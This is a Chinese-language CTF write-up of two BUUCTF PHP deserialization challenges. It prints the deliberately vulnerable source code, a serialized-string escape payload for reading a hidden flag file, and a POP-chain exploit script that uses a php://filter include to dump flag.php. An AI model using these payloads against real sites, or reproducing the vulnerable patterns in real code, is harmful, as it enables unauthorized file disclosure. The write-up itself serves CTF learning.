buuctf写题

发布时间 2023-06-30 17:33:17作者: ordigard

php反序列化字符逃逸

easy_serialize_php

拿到源码:

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}//将变量$img中的php flag php5 php4 fl1g的字符串替换成''空字符

if($_SESSION){//摧毁$_SESSION数组变量
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;//变量覆盖可以重置$_SESSION变量

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}//如果!$function为空的话输出刚开始的页面,也就是帮助页面

if(!$_GET['img_path']){//$_GET['img_path'] 为空情况下会默认给定一个图片文件名 然后进行base64编码 赋值给SESSION
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//这里对接收到的img文件名进行base64编码和sha1加密

$serialize_info = filter(serialize($_SESSION));
//序列化$_SESSION然后进行了过滤
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

url中给f赋值可以进入到phpinfo,发现d0g3_f1ag.php文件。这个文件无法直接访问。

代码逻辑:在第三个if语句里,出现了file_get_contents读取文件内容的函数,用该函数可以将d0g3_f1ag.php的内容回显出来,因此f=show_image。在反序列化之前,对$_SEESION变量进行了序列化,而且进行了过滤,这会导致字符逃逸的问题。

比如:$_SESSION[q] = p;

序列化以后的字符串为:a:1{s:q的位数:"xxxx";s:p的位数:"xxxx"}

如果q中含有被过滤字符串,这里的php和flag,则过滤函数执行以后,序列化字符串会按定长向后读取内容作为第一个参数的值。

在执行file_get_contents读取文件内容的时候,会对变量进行base64解码,因此要将d0g3_f1ag.php进行base64编码为:ZDBnM19mMWFnLnBocA==。而且要让img成为一个独立的参数。由于session没有做检测,user、function之后的内容是程序无法控制的。并且php反序列化会自动将{}之外的内容抛弃。构造payload如下:

$_SESSION[flagphp]=;s:1:1;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

经过序列化后:

{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}

过滤以后:

{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";} "}

其中";s:48:这一段作为第一个参数的键,值为字符串1,第二个参数为img,值为ZDBnM19mMWFnLnBocA==

得到d0g3_f1ag.php中的内容,flag in /d0g3_fllllllag,将/d0g3_fllllllag进行base64编码,序列化构造字符串。

ezpop1

代码审计:

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
 
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }
 
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
 
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
 
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
 
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
>

构造出一个pop,能够出发Modifier的append函数,执行include把代码flag.php中的代码显示出来。

各种魔术函数的执行时机:

1.__invoke:当脚本尝试将对象调用为函数的时候会触发。

2.__construct:创建一个对象的时候自动调用。

3.__get:用来访问不可访问的数据属性,比如私有属性

本题中get函数里p当作函数执行,满足了modifier里invoke方法的调用条件,__get方法会在访问一个类中不存在的属性时自动调用。

4.__tosring:当对象被当作字符串处理会出发,下面的wakeup有个正则匹配是把source对象当作匹配对象,出发wakeup,就会触发toString。

5.__wakeup:在unserialize方法调用的时候会出发wakepu。

调用流程:

unserialize→wakeup→tostring→调用test的source变量(不存在)→get→

把modifier当作对象调用出发invoke

exp:

<?php
class Modifier {
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$m = new Modifier();
$s = new Show();
$t = new Test();
$t->p = $m; //赋值Test类的对象$t下的属性p为Modifier类的对象$m,触发__invoke魔术方法
$s->str= $t;//赋值Show类的对象$s下的str数组的str键的值为 Test类的对象$t ,触发__get魔术方法。
$s->source = $s;//令 Show类的对象$s下的source属性值为此时上一步已经赋值过的$s对象,从而把对象当作字符串调用触发。__tostring魔术方法
echo urlencode((serialize($s)));